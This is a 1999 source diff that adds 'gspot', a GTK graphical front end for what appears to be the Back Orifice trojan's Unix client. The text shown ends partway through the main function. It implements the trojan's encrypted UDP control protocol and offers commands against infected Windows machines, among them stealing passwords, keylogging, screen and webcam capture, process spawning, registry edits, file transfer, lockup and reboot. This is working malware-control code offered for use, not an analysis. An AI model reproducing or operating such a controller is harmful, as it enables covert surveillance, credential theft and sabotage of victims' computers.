diff -ruN bo/Makefile.in bo_gspot/Makefile.in
--- bo/Makefile.in	Sun Aug  9 14:12:02 1998
+++ bo_gspot/Makefile.in	Tue Mar 23 17:36:01 1999
@@ -2,11 +2,14 @@
 LIBS=@LIBS@
 INSTALL=@INSTALL@
 
-all: bounix
+prefix=/usr/local/bin
+
+all: bounix gspot
 clean:
-	rm *.o bounix
+	rm *.o bounix gspot
 install:
-	$(INSTALL) bounix /usr/local/bin/bounix
+	$(INSTALL) bounix $(prefix)/bounix
+	$(INSTALL) gspot $(prefix)/gspot
 distclean:
 	rm *.o bounix config.status config.cache config.log config.h Makefile
 .o:
@@ -14,3 +17,6 @@
 
 bounix: bounix.o commands.o help.o
 	$(CC) -o bounix bounix.o commands.o help.o $(LIBS)
+
+gspot: commands.o gspot.c
+	$(CC) -g -o gspot gspot.c commands.o $(LIBS) `gtk-config --libs` `gtk-config --cflags`
diff -ruN bo/gspot.c bo_gspot/gspot.c
--- bo/gspot.c	Wed Dec 31 16:00:00 1969
+++ bo_gspot/gspot.c	Tue Mar 23 16:36:04 1999
@@ -0,0 +1,891 @@
+#include "config.h"
+#include "bounix.h"
+#include "helpstrings.h"
+#include <gtk/gtk.h>
+
+// Do you have anything to declare?
+#define PROBE_STR_MAX 30
+
+typedef struct {
+  gchar *Name[1];	//Odd? Yes, but gotta do it for Clist
+  gchar command[PROBE_STR_MAX + 1];
+  gchar firstArg[PROBE_STR_MAX + 1];
+  gchar secondArg[PROBE_STR_MAX + 1];
+} probeListItem;
+
+// Function prototypes
+void insertProbe (gchar *Name, gchar *bocommand, gchar *arg1, gchar *arg2);
+void initializeProbes (void);
+void destroy (GtkWidget *widget, gpointer data);
+void update_value(GtkWidget *widget, gpointer data);
+void select_probe (GtkWidget *widget, gint row, gint column, GdkEventButton *event, gpointer data);
+void gtk_puts (gchar *message);
+void givehelpcommand(char *arg1);
+void helpDialog (GtkWidget *widget, gpointer data);
+gint main( int argc, char *argv[] );
+
+// Globals
+gchar currentProbe[PROBE_STR_MAX + 1];
+gchar responce[BUFFSIZE + 1];
+gchar oldhost[ARGSIZE + 1];
+gchar oldport[6];
+gint  pidx = 0;
+probeListItem *probeArray;
+GtkWidget *returnScreen;
+GtkWidget *rsScroll;
+GtkWidget *hostText, *portText, *arg1Text, *arg2Text, *passText;
+GtkWidget *arg1Label, *arg2Label;
+// From bounix.c
+int udpsock;
+int port = PORT; 
+int g_lastpongport;
+unsigned long host;
+unsigned long g_lastpongip;
+unsigned long g_packet;
+static long holdrand = 1L;
+struct sockaddr_in sockaddr;
+struct in_addr hostin;
+char g_password[ARGSIZE + 1];
+char g_lastdata[BUFFSIZE + 1];
+char cwd[MAX_PATH + 1];
+char buff[BUFFSIZE + 1];
+
+
+
+// Look!  Actual code!
+
+void  msrand (unsigned int seed )
+{
+  holdrand = (long)seed;
+}
+
+int mrand ( void)
+{
+  return(((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff);
+}
+
+unsigned int getkey()
+{
+  int x, y;
+  unsigned int z;
+
+  y = strlen(g_password);
+  if (!y)
+    return 31337;
+  else {
+    z = 0;
+    for (x = 0; x < y; x++)
+      z+= g_password[x];
+
+    for (x = 0; x < y; x++)
+      {
+        if (x%2)
+          z-= g_password[x] * (y-x+1);
+        else
+          z+= g_password[x] * (y-x+1);
+        z = z%RAND_MAX;
+      } 
+    z = (z * y)%RAND_MAX;
+    return z;
+  }
+} 
+
+void BOcrypt(unsigned char *buff, int len)
+{
+  int y;
+
+  if (!len)
+    return;
+
+  msrand(getkey());
+  for (y = 0; y < len; y++)
+    buff[y] = buff[y] ^ (mrand()%256);
+}
+
+/*
+ *                       I/O socket functions  
+ */
+
+int getpong(int sock)           /* loops through with select, returns 0 on correct ping response */
+{                               /* and 1 on a timeout or select error. */
+  struct sockaddr_in host;
+  char buff[BUFFSIZE];
+  int hostsize, x, sel;
+  unsigned long *pdw;
+  unsigned char *ptr;
+  unsigned long packetsize;
+  unsigned char type;
+  fd_set fds;
+  struct timeval tv;
+
+  FD_ZERO(&fds);
+  FD_SET(sock, &fds);
+  tv.tv_sec = 0;
+  tv.tv_usec = 0;
+  hostsize = sizeof(host);
+  
+  while ( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0)
+    {
+      tv.tv_sec=0;
+      tv.tv_usec=0;
+
+      if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize)) <= 0 ) {
+	return(1);
+      }
+
+      BOcrypt(buff, x);
+      
+      if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) 
+	{
+	  sprintf(responce, "------- Garbage packet recieved from %s port %d -------\n",
+		 inet_ntoa(host.sin_addr),
+		 (int)ntohs(host.sin_port) );
+	  gtk_puts(responce);
+	  continue;
+	}
+      pdw = (unsigned long *)buff;
+      pdw+=2;
+      packetsize = __EL_LONG(*pdw);
+      pdw+=2;
+      ptr = (unsigned char *)pdw;
+      type = *ptr++;
+      
+      if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) && 
+	  (type == TYPE_PING))
+	{
+	  sprintf(responce, "---- Pong received from %s port %d ---\n", 
+		 inet_ntoa(host.sin_addr),
+		 (int)ntohs(host.sin_port) );
+	  gtk_puts(responce);
+	  gtk_puts(ptr);
+	  sprintf(responce, "---------- End of data ----------------------\n");
+	  gtk_puts(responce);
+	  g_lastpongip = host.sin_addr.s_addr;
+	  g_lastpongport = (int)ntohs(host.sin_port);
+	  return(0);
+	} else {
+	  sprintf(responce, "---- Non pong response from %s port %d ---\n", 
+		 inet_ntoa(host.sin_addr),
+		 (int)ntohs(host.sin_port) );
+	  gtk_puts(responce);
+	  gtk_puts(ptr);
+	  sprintf(responce, "---------- End of data ---------------------\n");
+	  gtk_puts(responce);
+	  continue;
+	}
+    }
+  if (sel < 0)
+    perror("select");
+  
+  return(1);
+}
+
+int getinput(int sock)
+{
+  struct sockaddr_in host;
+  char buff[BUFFSIZE];
+  int hostsize, x, sel;
+  unsigned long *pdw;
+  unsigned char *ptr;
+  unsigned long packetsize;
+  unsigned long oldestpack, lastpacket, packetid, p;
+  unsigned char type;
+  struct timeval tv;
+  fd_set fds;
+
+  FD_ZERO(&fds);
+  FD_SET(sock, &fds);
+  tv.tv_sec = 10;
+  tv.tv_usec = 0;
+  hostsize = sizeof(host);
+  
+  while( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0 )
+    {
+      tv.tv_sec = 10;        /* check, does select modify tv? */
+      tv.tv_usec = 0;
+
+      if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host,
+			 &hostsize)) <= 0)
+	continue;           /* this still shouldnt happen */
+      
+      BOcrypt(buff, x);
+      if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) 
+	continue;                   /* this packet isnt for us, pass off */
+      
+      pdw = (unsigned long *)buff;    /* parse out the packet */ 
+      pdw+=2;
+      packetsize = *pdw++;
+      packetsize = __EL_LONG(packetsize);
+      packetid = *pdw++;
+      packetid = __EL_LONG(packetid);
+      ptr = (unsigned char *)pdw;
+      type = *ptr++;
+       
+      /* this is a singular packet */
+      if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) )
+	{
+	  sprintf(responce, "---- Packet received from %s port %d -----\n",
+		 inet_ntoa(host.sin_addr),
+		 (int)ntohs(host.sin_port) );
+	  gtk_puts(responce);
+	  gtk_puts(ptr);
+	  sprintf(responce, "---------- End of data ---------------------\n");
+	  gtk_puts(responce);
+	  return 0;                                         /* success */
+	}
+      
+      /* first packet in a set of packets */
+      if (!(type & CONTINUED_PACKET))
+	{
+	  oldestpack = packetid;
+	  sprintf(responce, "---- Packet received from %s port %d -----\n",
+		 inet_ntoa(host.sin_addr),
+		 (int)ntohs(host.sin_port) );
+	  gtk_puts(responce);
+	}
+
+       if(type & CONTINUED_PACKET)             /* if we're here, i believe this will always be true */
+	 {
+	                                       /* if packetid = lastpacket+1 (normal), this doesnt run */
+
+	   /* This code is B00l Shit. It's borken big time.
+	   for(p=lastpacket; packetid > lastpacket+1; p++)
+	     printf("Packet #%d in this collection is MIA\n", (int)(p-oldestpack));
+	   */
+	   lastpacket = packetid;
+	 }
+
+       gtk_puts(ptr);
+       
+       /* last packet in a set of packets */
+       if (!(type & PARTIAL_PACKET))
+	 {
+	   sprintf(responce, "---------- End of data ---------------------\n");
+	   gtk_puts(responce);
+	   return 0;                                         /* success */
+	 }
+    }
+  
+                                                             /* determine why we broke out of the loop */
+  if (sel == 0) {
+    sprintf(responce, "Timeout on wait, host may not be reachable, or no server installed\n");
+    gtk_puts(responce);
+  }
+  else if (sel < 0)
+    perror("select");
+  
+  return(1);                                                 /* error */
+}
+
+
+int sendping(unsigned long dest, int port, int sock)
+{
+  unsigned char *ptr;
+  unsigned long *pdw;
+  unsigned long size;
+  struct sockaddr_in host;
+  char buff[BUFFSIZE];
+  int i;
+  fd_set fdset;
+  struct timeval tv;
+
+  size = MAGICSTRINGLEN + (sizeof(unsigned long)*2) + 2;
+  strcpy(buff, MAGICSTRING);
+  pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
+  *pdw++ = __EL_LONG(size);
+  *pdw++ = __EL_LONG((unsigned long)-1);
+  ptr = (unsigned char *)pdw;
+  *ptr++ = TYPE_PING;
+  *ptr = 0;
+  
+  BOcrypt(buff, (int)size);
+  
+  host.sin_family = AF_INET;
+  host.sin_port = htons((u_short)port);
+  host.sin_addr.s_addr = dest;
+  
+  FD_ZERO(&fdset);
+  FD_SET(sock, &fdset);
+  tv.tv_sec = 10;
+  tv.tv_usec = 0;
+
+  i = select(sock+1, NULL, &fdset, NULL, &tv);
+  if (i == 0)
+    {
+      sprintf(responce, "Timeout waiting to send to socket\n");
+      gtk_puts(responce);
+      return(1);
+    } else if (i < 0) {
+      perror("select: ");
+      return(1);
+    }
+
+  if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size )
+    {
+      perror("sendto: ");
+      return(1);
+    }
+
+  return 0;
+}
+
+int sendpacket(unsigned char type, const char *str1, const char *str2, unsigned long dest, int port, int sock)
+{
+  unsigned char *ptr;
+  unsigned long *pdw;
+  unsigned long size;
+  struct sockaddr_in host;
+  char buff[BUFFSIZE];
+  
+  if (dest == 0)
+    {
+      gtk_puts("Set a target host with the 'host' command.  (Type 'help' for assistance)");
+      return 1;
+    }
+  /*               4    4   1    ?        ?      1 
+   * -----------------------------------------------
+   * |MAGICSTRING|size|pakt|t|arg1... |arg2... |crc|
+   * |           |    |num | |        |        |   |
+   * -----------------------------------------------
+   */
+  size = MAGICSTRINGLEN + (sizeof(long)*2) + 3 + strlen(str1) + strlen(str2);
+  strcpy(buff, MAGICSTRING);
+  pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
+  *pdw++ = __EL_LONG(size);
+  *pdw++ = __EL_LONG(g_packet);
+  g_packet++;
+  ptr = (unsigned char *)pdw;
+  *ptr++ = type;
+  strcpy(ptr, str1);
+  ptr += strlen(str1) + 1;
+  strcpy(ptr, str2);
+  
+  BOcrypt(buff, (int)size);
+ 
+  host.sin_family = AF_INET;
+  host.sin_port = htons((u_short)port);
+  host.sin_addr.s_addr = dest;
+
+  if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size)
+     {
+       perror("sendto: ");
+       return(1);
+     }
+  return 0;
+}
+
+
+/************************** MISC FUNCTIONS **************************/
+
+void fixfilename(char *buff, const char *cwd, const char *path)
+{
+  if (path[0] == '\\')
+    {
+      strncpy(buff, cwd, 2);
+      strncpy(buff+3, path, strlen(path)+1);
+    } else if (strncmp(path+1, ":\\", 2) == 0){
+      strcpy(buff, path);
+    } else {
+      sprintf(buff, "%s%s", cwd, path);
+    }
+}
+
+void execute(GtkWidget *widget, gpointer data)
+{
+  if ( host == 0 ||	// We don't have a host?  Must be the first time...
+       (strcmp(oldhost, gtk_entry_get_text(GTK_ENTRY(hostText))) ||
+	strcmp(oldport, gtk_entry_get_text(GTK_ENTRY(portText))) ) )	// The hostname or port was changed
+    {
+      executecommand("HOST", gtk_entry_get_text(GTK_ENTRY(hostText)), 
+		     gtk_entry_get_text(GTK_ENTRY(portText)));
+      if ( host == 0 )
+	{
+	  gtk_puts("Resolver said: \"Eat me\"\n  I think you should check your hostname/port.");
+	  gtk_entry_set_text(GTK_ENTRY(hostText), oldhost);
+	  gtk_entry_set_text(GTK_ENTRY(portText), oldport);
+	  return;
+	}
+      //We've a host now.
+      strcpy(oldhost, gtk_entry_get_text(GTK_ENTRY(hostText)) );
+      strcpy(oldport, gtk_entry_get_text(GTK_ENTRY(portText)) );
+    }
+  if (currentProbe[0] == 0)
+    {
+      gtk_puts("Please click on one of the commands.\n  I know it looks like ping is selected, but it isn't.");
+    }
+  if (executecommand(currentProbe, 
+		     gtk_entry_get_text(GTK_ENTRY(arg1Text)),
+		     gtk_entry_get_text(GTK_ENTRY(arg2Text)) )) 
+    {
+      sprintf(responce, "Command Failed\n");
+      gtk_puts(responce);
+    }
+}
+
+
+
+
+//-----------------------------------------------
+//   GKT code below 
+//-----------------------------------------------
+
+
+
+void insertProbe (gchar *Name, gchar *bocommand, gchar *arg1, gchar *arg2) 
+{
+  if (!probeArray) 
+    {
+      probeArray = malloc(sizeof(probeListItem));
+    }
+  else
+    {
+      probeArray = realloc(probeArray, (sizeof(probeListItem) * (pidx+1)) );
+    }
+  probeArray[pidx].Name[0] = malloc(sizeof(gchar) * strlen(Name) + 1);
+  strcpy(probeArray[pidx].Name[0], Name);
+  strcpy(probeArray[pidx].command, bocommand);
+  strcpy(probeArray[pidx].firstArg, arg1);
+  strcpy(probeArray[pidx].secondArg, arg2);
+  pidx++;
+
+}
+
+void initializeProbes (void)
+{
+  // I've taken a few out, they aren't neccessary with a GUI
+  //  insertProbe("HOST", "", "");
+  //  insertProbe("QUIT", "", "");
+  //  insertProbe("PASSWD", "", "");
+  // BO commands
+  insertProbe("Ping", "PING", "Unused:", "Unused:");
+  insertProbe("Ping List", "PINGLIST", "File Name:", "Unused:");
+  insertProbe("Sweep subnet", "SWEEP", "Subnet:", "Unused:");
+  insertProbe("Sweep List", "SWEEPLIST", "File Name:", "Unused:");
+  // File operations
+  insertProbe("List dir", "DIR", "File pattern:", "Unused:");
+  insertProbe("Find file", "FIND", "File pattern:", "Start in:");
+  insertProbe("View file", "VIEW", "File name:", "Unused:");
+  insertProbe("Delete file", "DEL", "File:", "Unused:");
+  insertProbe("Copy file", "COPY", "Source filename:", "Destination:");
+  insertProbe("Rename file", "REN", "File name:", "Destination:");
+  insertProbe("Compress file", "FREEZE", "Freeze file:", "Destination:");
+  insertProbe("Uncompress file", "MELT", "Frozen file:", "Destination:");
+  // Dir operations
+  insertProbe("Change dir", "CD", "New directory:", "Unused:");
+  insertProbe("Make directory", "MD", "New dir:", "Unused:");
+  insertProbe("Remove directory", "RD", "Directory:", "Unused:");
+  //  insertProbe("Download file", "GET", "Remote filename:", "Local filename:");    Apparently these two
+  //  insertProbe("Upload file", "PUT", "Local filename:", "Remote filename:");      weren't implemented
+  // System operations
+  //  insertProbe("Open Shell", "SHELL", "Unused:", "Unused:");                      Also not implemented
+  //  insertProbe("Get status", "STATUS", "Unused:", "Unused:");                     Status is useless to me
+  insertProbe("Get system info", "INFO", "Unused:", "Unused:");
+  insertProbe("Get remote passwords", "PASSES", "Unused:", "Unused:");
+  insertProbe("Create system dialog", "DIALOG", "Dialog text:", "Title text:");
+  insertProbe("Keylog", "KEYLOG", "Log File: (or stop)", "Unused:");
+  insertProbe("List processes", "PROCLIST", "Unused:", "Unused:");
+  insertProbe("Kill process", "PROCKILL", "Process ID:", "Unused:");
+  insertProbe("Start process", "PROCSPAWN", "Commandline:", "Unused:");
+  insertProbe("Lockup system", "LOCKUP", "Unused:", "Unused:");
+  insertProbe("Reboot system", "REBOOT", "Unused:", "Unused:");
+  // Network stuff
+  insertProbe("Resolve hostname", "RESOLVE", "Hostname:", "Unused:");
+  insertProbe("List IP redirects", "REDIRLIST", "Unused:", "Unused:");
+  insertProbe("Delete IP redirect", "REDIRDEL", "Redir Number:", "Unused:");
+  insertProbe("Add IP redirect", "REDIRADD", "Input Port:", "Output IP:Port,UDP:");
+  insertProbe("List console apps", "APPLIST", "Unused:", "Unused:");
+  insertProbe("Remove console app", "APPDEL", "App ID:", "Unused:");
+  insertProbe("Add console app", "APPADD", "Program:", "Port:");
+  insertProbe("List available resources", "NETVIEW", "Unused:", "Unused:");
+  insertProbe("List connected resources", "NETLIST", "Unused:", "Unused:");
+  insertProbe("Disconnect resource", "NETDISCONNECT", "Resource:", "Unused:");
+  insertProbe("Connect to resource", "NETCONNECT", "Resource:", "Password:");
+  insertProbe("List shares", "SHARELIST", "Unused:", "Unused:");
+  insertProbe("Delete shares", "SHAREDEL", "Share name:", "Unused:");
+  insertProbe("Add shares", "SHAREADD", "Share name:", "Local dir,Password,remark:");
+  insertProbe("Stop HTTP server", "HTTPOFF", "Unused:", "Unused:");
+  insertProbe("Start HTTP server", "HTTPON", "Port:", "Root:");
+  insertProbe("Send file via TCP", "TCPSEND", "File name:", "Target IP:Port");
+  insertProbe("Recieve file via TCP", "TCPRECV", "File name:", "Target IP:Port");
+  // Multimedia stuff
+  insertProbe("List MM capture devices", "LISTCAPS", "Unused:", "Unused:");
+  insertProbe("Capture bitmap", "CAPSCREEN", "File name:", "Unused:");
+  insertProbe("Capture frame from MM", "CAPFRAME", "File name:", "Device,Width,Height,Bits:");
+  insertProbe("Capture AVI", "CAPAVI", "File name:", "Seconds,Device,Width,Height,Bits:");
+  insertProbe("Play wav file", "SOUND", "File name;", "Unused:");
+  // Registry
+  insertProbe("List registry subkeys", "REGLISTKEYS", "Keyname:", "Unused:");
+  insertProbe("List registry values", "REGLISTVALS", "Keyname:", "Unused:");
+  insertProbe("Delete registry key", "REGDELKEY", "Keyname:", "Unused:");
+  insertProbe("Make registry key", "REGMAKEKEY", "Keyname:", "Unused:");
+  insertProbe("Delete registry value", "REGDELVAL", "Value name:", "Unused:");
+  insertProbe("Set registry value", "REGSETVAL", "Value name:", "Type,Value:");
+  // Plugins
+  insertProbe("List plugins", "PLUGINLIST", "Unused:", "Unused:");
+  insertProbe("Stop plugin", "PLUGINKILL", "Plugin ID:", "Unused:");
+  insertProbe("Execute plugin", "PLUGINEXEC", "DLL name:Plugin name:", "Plugin args");
+  
+  probeArray = realloc(probeArray, sizeof(probeListItem) * (pidx+1) );
+}
+
+void destroy (GtkWidget *widget, gpointer data)
+{
+  if(probeArray) {
+    pidx = 0;
+    while (  probeArray[pidx].Name[0] != NULL ) {
+      free(probeArray[pidx].Name[0]);
+      pidx++;
+    }
+    free(probeArray);
+    probeArray = NULL;
+  }
+  close(udpsock);
+  gtk_main_quit ();
+}
+
+
+void update_value(GtkWidget *widget, gpointer data)
+{
+  // Right now, passText is the only widget that calls us.
+  //if ( strcasecmp("passText", gtk_widget_get_name( GTK_WIDGET(widget) )) == 0 )
+  strcpy(g_password, gtk_entry_get_text(GTK_ENTRY(widget)));
+}
+
+
+void select_probe (GtkWidget *widget, gint row, gint column, GdkEventButton *event, gpointer data)
+{
+  strcpy(currentProbe, probeArray[row].command);
+  gtk_label_set(GTK_LABEL(arg1Label), probeArray[row].firstArg);
+  gtk_label_set(GTK_LABEL(arg2Label), probeArray[row].secondArg);
+}
+
+void gtk_puts (gchar *message)
+{
+  gtk_text_insert( GTK_TEXT(returnScreen),NULL,NULL,NULL,message,-1);
+  if(message[strlen(message)-1] != '\n')
+  gtk_text_insert( GTK_TEXT(returnScreen),NULL,NULL,NULL,"\n",-1);    
+}
+
+void givehelpcommand(char *arg1)
+{
+  helpDialog(NULL, arg1);
+}
+
+void helpDialog (GtkWidget *widget, gpointer data)
+{
+  GtkWidget *helpWindow;
+  GtkWidget *button;
+  GtkWidget *label;
+  char labelTemp[10];
+
+  helpWindow = gtk_dialog_new ();
+  gtk_container_border_width (GTK_CONTAINER (helpWindow), 10);
+  
+  button = gtk_button_new_with_label("OK");
+  gtk_signal_connect_object (GTK_OBJECT (button), "clicked",
+			     GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (helpWindow));
+  gtk_box_pack_start (GTK_BOX (GTK_DIALOG (helpWindow)->action_area), button,
+		      TRUE, TRUE, 0);
+  gtk_widget_show (button);
+  
+  if (strlen((char *) data) == 0)				label = gtk_label_new("Select an item first");
+  else if (strcasecmp((char *) data, "HOST") == 0)		label = gtk_label_new(hosthelp);
+  else if (strcasecmp((char *) data, "QUIT") == 0)		label = gtk_label_new(quithelp);
+  else if (strcasecmp((char *) data, "PING") == 0)		label = gtk_label_new(pinghelp);
+  else if (strcasecmp((char *) data, "PINGLIST") == 0)		label = gtk_label_new(pinglisthelp);
+  else if (strcasecmp((char *) data, "SWEEP") == 0)		label = gtk_label_new(sweephelp);
+  else if (strcasecmp((char *) data, "SWEEPLIST") == 0)		label = gtk_label_new(sweeplisthelp);
+  else if (strcasecmp((char *) data, "SHELL") == 0)		label = gtk_label_new(shellhelp);
+  else if (strcasecmp((char *) data, "STATUS") == 0)		label = gtk_label_new(statushelp);
+  else if (strcasecmp((char *) data, "PASSWD") == 0)		label = gtk_label_new(passwdhelp);
+  else if (strcasecmp((char *) data, "DIR") == 0)		label = gtk_label_new(dirhelp);
+  else if (strcasecmp((char *) data, "CD") == 0)		label = gtk_label_new(cdhelp);
+  else if (strcasecmp((char *) data, "DEL") == 0)		label = gtk_label_new(delhelp);
+  else if (strcasecmp((char *) data, "GET") == 0)		label = gtk_label_new(gethelp);
+  else if (strcasecmp((char *) data, "PUT") == 0)		label = gtk_label_new(puthelp);
+  else if (strcasecmp((char *) data, "COPY") == 0)		label = gtk_label_new(copyhelp);
+  else if (strcasecmp((char *) data, "FIND") == 0)		label = gtk_label_new(findhelp);
+  else if (strcasecmp((char *) data, "FREEZE") == 0)		label = gtk_label_new(freezehelp);
+  else if (strcasecmp((char *) data, "MELT") == 0)		label = gtk_label_new(melthelp);
+  else if (strcasecmp((char *) data, "VIEW") == 0)		label = gtk_label_new(viewhelp);
+  else if (strcasecmp((char *) data, "REN") == 0)		label = gtk_label_new(renhelp);
+  else if (strcasecmp((char *) data, "MD") == 0)		label = gtk_label_new(mdhelp);
+  else if (strcasecmp((char *) data, "RD") == 0)		label = gtk_label_new(rdhelp);
+  else if (strcasecmp((char *) data, "INFO") == 0)		label = gtk_label_new(infohelp);
+  else if (strcasecmp((char *) data, "PASSES") == 0)		label = gtk_label_new(passeshelp);
+  else if (strcasecmp((char *) data, "DIALOG") == 0)		label = gtk_label_new(dialoghelp);
+  else if (strcasecmp((char *) data, "KEYLOG") == 0)		label = gtk_label_new(keyloghelp);
+  else if (strcasecmp((char *) data, "REBOOT") == 0)		label = gtk_label_new(reboothelp);
+  else if (strcasecmp((char *) data, "NETVIEW") == 0)		label = gtk_label_new(netviewhelp);
+  else if (strcasecmp((char *) data, "NETCONNECT") == 0)	label = gtk_label_new(netconnecthelp);
+  else if (strcasecmp((char *) data, "NETDISCONNECT") == 0)	label = gtk_label_new(netdisconnecthelp);
+  else if (strcasecmp((char *) data, "NETLIST") == 0)		label = gtk_label_new(netlisthelp);
+  else if (strcasecmp((char *) data, "RESOLVE") == 0)		label = gtk_label_new(resolvehelp);
+  else if (strcasecmp((char *) data, "SHARELIST") == 0)		label = gtk_label_new(sharelisthelp);
+  else if (strcasecmp((char *) data, "SHAREADD") == 0)		label = gtk_label_new(shareaddhelp);
+  else if (strcasecmp((char *) data, "SHAREDEL") == 0)		label = gtk_label_new(sharedelhelp);
+  else if (strcasecmp((char *) data, "PROCLIST") == 0)		label = gtk_label_new(proclisthelp);
+  else if (strcasecmp((char *) data, "PROCKILL") == 0)		label = gtk_label_new(prockillhelp);
+  else if (strcasecmp((char *) data, "PROCSPAWN") == 0)		label = gtk_label_new(procspawnhelp);
+  else if (strcasecmp((char *) data, "LISTCAPS") == 0)		label = gtk_label_new(listcapshelp);
+  else if (strcasecmp((char *) data, "CAPSCREEN") == 0)		label = gtk_label_new(capscreenhelp);
+  else if (strcasecmp((char *) data, "CAPFRAME") == 0)		label = gtk_label_new(capframehelp);
+  else if (strcasecmp((char *) data, "CAPAVI") == 0)		label = gtk_label_new(capavihelp);
+  else if (strcasecmp((char *) data, "SOUND") == 0)	        label = gtk_label_new(soundhelp);
+  else if (strcasecmp((char *) data, "REDIRLIST") == 0)		label = gtk_label_new(redirlisthelp);
+  else if (strcasecmp((char *) data, "REDIRDEL") == 0)		label = gtk_label_new(redirdelhelp);
+  else if (strcasecmp((char *) data, "REDIRADD") == 0)		label = gtk_label_new(rediraddhelp);
+  else if (strcasecmp((char *) data, "APPADD") == 0)		label = gtk_label_new(appaddhelp);
+  else if (strcasecmp((char *) data, "APPDEL") == 0)		label = gtk_label_new(appdelhelp);
+  else if (strcasecmp((char *) data, "APPLIST") == 0)		label = gtk_label_new(applisthelp);
+  else if (strcasecmp((char *) data, "REGMAKEKEY") == 0)	label = gtk_label_new(regmakekeyhelp);
+  else if (strcasecmp((char *) data, "REGDELKEY") == 0)		label = gtk_label_new(regdelkeyhelp);
+  else if (strcasecmp((char *) data, "REGLISTKEYS") == 0)	label = gtk_label_new(reglistkeyshelp);
+  else if (strcasecmp((char *) data, "REGLISTVALS") == 0)	label = gtk_label_new(reglistvalshelp);
+  else if (strcasecmp((char *) data, "REGDELVAL") == 0)		label = gtk_label_new(regdelvalhelp);
+  else if (strcasecmp((char *) data, "REGSETVAL") == 0)		label = gtk_label_new(regsetvalhelp);
+  else if (strcasecmp((char *) data, "HTTPON") == 0)		label = gtk_label_new(httponhelp);
+  else if (strcasecmp((char *) data, "HTTPOFF") == 0)		label = gtk_label_new(httpoffhelp);
+  else if (strcasecmp((char *) data, "TCPSEND") == 0)		label = gtk_label_new(tcpsendhelp);
+  else if (strcasecmp((char *) data, "TCPRECV") == 0)		label = gtk_label_new(tcprecvhelp);
+  else if (strcasecmp((char *) data, "LOCKUP") == 0)		label = gtk_label_new(lockuphelp);
+  else if (strcasecmp((char *) data, "PLUGINEXEC") == 0)	label = gtk_label_new(pluginexechelp);
+  else if (strcasecmp((char *) data, "PLUGINKILL") == 0)	label = gtk_label_new(pluginkillhelp);
+  else if (strcasecmp((char *) data, "PLUGINLIST") == 0)	label = gtk_label_new(pluginlisthelp);
+  else {
+    snprintf ( labelTemp, 10, "No help for '%s'\n", (char *) data);
+    label = gtk_label_new(labelTemp);
+  }
+
+  gtk_box_pack_start (GTK_BOX (GTK_DIALOG (helpWindow)->vbox), label, TRUE,
+		      TRUE, 0);
+  gtk_widget_show (label);
+  gtk_widget_show (helpWindow);
+
+}
+
+int main( int argc, char *argv[] ) 
+{
+  int clientport = 0;
+  struct linger linger;
+  int bufsize;
+  GtkWidget *window;
+  GtkWidget *kitchenTable;
+  GtkWidget *hbox, *vbox;
+#if GTK_MINOR_VERSION >= 2
+  GtkWidget *probeScroll;
+#endif
+  GtkWidget *probeList;
+  GtkWidget *helpBUTTon, *exeBUTTon;
+  GtkWidget *hostLabel, *portLabel, *passLabel;
+  // As a reminder, the following components are global:
+  /*
+    GtkWidget *returnScreen;
+    GtkWidget *rsScroll;
+    GtkWidget *hostText, *portText, *arg1Text, *arg2Text, *passText;
+    GtkWidget *arg1Label, *arg2Label;
+   */
+
+  gtk_init (&argc, &argv);
+  initializeProbes();
+
+  // Initialize the UDP port
+  host = 0;
+  g_packet = 0;
+  g_password[0] = 0;
+  strcpy(cwd, "c:\\");
+  if ( (udpsock = socket(PF_INET, SOCK_DGRAM, 0)) < 0)
+    {
+      perror("socket: ");
+      return(1);
+    }
+  memset(&sockaddr, 0, sizeof(sockaddr));
+  sockaddr.sin_family = AF_INET;
+  sockaddr.sin_port = htons((u_short)clientport);
+  if ( (bind(udpsock, (struct sockaddr *)&sockaddr, sizeof(sockaddr))) < 0)
+    {
+      perror("bind: ");
+      return(1);
+    }
+  linger.l_onoff = 0;          // dont linger 
+  setsockopt(udpsock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger) );
+  
+
+  
+  // Create the window
+  window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
+  gtk_window_set_title (GTK_WINDOW (window), "Gspot");
+  gtk_container_border_width (GTK_CONTAINER (window), 5);
+  gtk_widget_set_usize (GTK_WIDGET (window), 500, 400);
+  gtk_signal_connect (GTK_OBJECT (window), "delete_event",
+		      GTK_SIGNAL_FUNC (destroy), NULL);
+  gtk_signal_connect (GTK_OBJECT (window), "destroy",
+		      GTK_SIGNAL_FUNC (destroy), NULL);
+
+  // Create the table container
+  kitchenTable = gtk_table_new(4, 3, FALSE);
+  gtk_table_set_row_spacings( GTK_TABLE(kitchenTable), 2 );
+  gtk_table_set_col_spacings( GTK_TABLE(kitchenTable), 2 );
+  gtk_container_add (GTK_CONTAINER (window), kitchenTable);
+  gtk_widget_show(kitchenTable);
+
+  // Use a CList item with one column for the commands
+  probeList = gtk_clist_new(1);
+  gtk_clist_set_selection_mode( GTK_CLIST(probeList), GTK_SELECTION_BROWSE );
+#if GTK_MINOR_VERSION >= 1
+  probeScroll = gtk_scrolled_window_new( NULL, NULL );
+  gtk_scrolled_window_set_policy( GTK_SCROLLED_WINDOW (probeScroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC);
+  gtk_clist_set_shadow_type( GTK_CLIST(probeList), GTK_SHADOW_ETCHED_IN);
+#else
+  gtk_clist_set_border(GTK_CLIST(probeList), GTK_SHADOW_ETCHED_IN);
+  gtk_clist_set_policy(GTK_CLIST(probeList), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC );
+#endif
